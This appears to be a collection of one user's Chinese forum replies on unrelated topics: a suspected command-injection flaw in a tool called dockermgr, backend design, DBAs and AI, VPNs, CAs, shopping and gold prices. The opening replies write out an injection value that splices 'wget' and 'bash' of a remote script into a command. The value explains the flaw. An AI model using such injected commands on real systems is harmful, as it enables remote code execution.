@pingdog typo
例如用户输入 abc ; wget http://example.com ; bash example.sh

拼接后
... abc ; wget http://example.com ; bash example.sh —-validate ...

@sn0wdr1am 看到 /t/1189392#r_17272286 贴的图，图中的用户 xwmz1369 披露了关键日志，可以看到日志记录到 docker 相关的命令出错，exit code 125 ，玩过 docker 估计都遇到过这个 exit code 。。随即 wget 下载脚本，然后看到脚本提示—-validate not found ，说明用户的输入拼接在 dockermgr hardcode 的命令的—-validate 之前

个人推测 dockermgr 存在设计缺陷，无过滤就拼接了用户的输入合并成命令并执行，例如用户输入 abc ; wget http://example.com ; bash example.sh —-validate 。符合日志的输出

web api 是否有问题，不评价，未见到有人分享 http logs

@izToDo 捂着捂着这也算是一种特色了。。经历多几个这种事情就惯了。。你就会对中国自主品牌死心了。

btw 自己也是写代码，在这些环境下，绝大多数都是混口饭吃，上面不断搞 KPI ，下面就能跑就行

…

以下疑问仅针对 OP 当前帖子的内容描述作出

常规 B/S 开发模型下，请求进入了 server/backend 不会将请求中继到公网，即使 backend 有向公网发出请求的行为，也是 hardcode 的地址，所以这个“不定时爆连接数指向一个 ip”是随机出现还是关联到某个服务。要是服务那是不是这段逻辑执行完没关闭 socket 就耗尽了。如果问题出在 server ，就类似前阵的 react2shell ，漏洞源于 react server component ，不过滤触发语句 http/https 一样打穿

DBA 是我想的 database admin 么？若是，那就正常。。
用 git 做 DB 还是 git 能管理 DB ？
vs code ？ DB 有专用的 editor
没事搞 IaC terraform 干啥，又不是 infra 的岗。。

AI 干掉 DBA ？怕不是在火坑上跳舞，一些升级迁移，稍有不慎数据就被清了

AI 只会让本身精通的人省事省力搞一些初始阶段，后面阶段靠 AI 解决纯捣乱

iOS 26.3 beta 3 刚试下还可以，估计还没灰度到

没啥用，即使你写论文阐述都改变不了事实，你不是管域名/服务器的岗位，你说的话在这件事上从头到尾都会被忽略

原价应该相同，plus 没去瞎点点领卷吧，狗东规矩变了，不去倒腾卷不如多多

黄金保守还能涨个一年，看中期选举民主党能不能占有两院多数，够的话弹劾特朗普之后估计就波动不大，黄金被套的机率很小，毕竟杂还在追求遗臭万年

引用 @shintendo 的话“叽里咕噜说一堆”

从头到尾看了两遍，才发现 OP 只是在推广自己的项目
> 也就是说需要一个分布式的 mkcert ，cert-ctrl ，这个是我们写的。

dev env 直接让 SRE 在 cors policy 加多一个 localhost 不就行了吗，搞这么复杂，反正 dev 上的资源随便

开源项目的硬件产量不多，成本压不下来，找个支持 home assistant 的量产设备基本满足，在自己写个控制面板

有个疑问，扩香石怎么清理？在车内放久了多少会吸点细菌

静止状态停最后开门的楼层

wireguard 这种 S2S 类型根本就不适合给 UE 用
RA 类型的 ikev2,ipsec ，大多数 OS 都内置支持

软件实现的随机算法都是称为伪随机，真随机要专用硬件

企业功能要免费只能手写了，社区版基本是残缺的

@myssl #30 不错👍，比某 sign 主动多了

@00oo00 #7 目测发讨论没啥用。。不如找 Mozilla CA 开个 bugzilla ，他们有 CA 机构的联系方式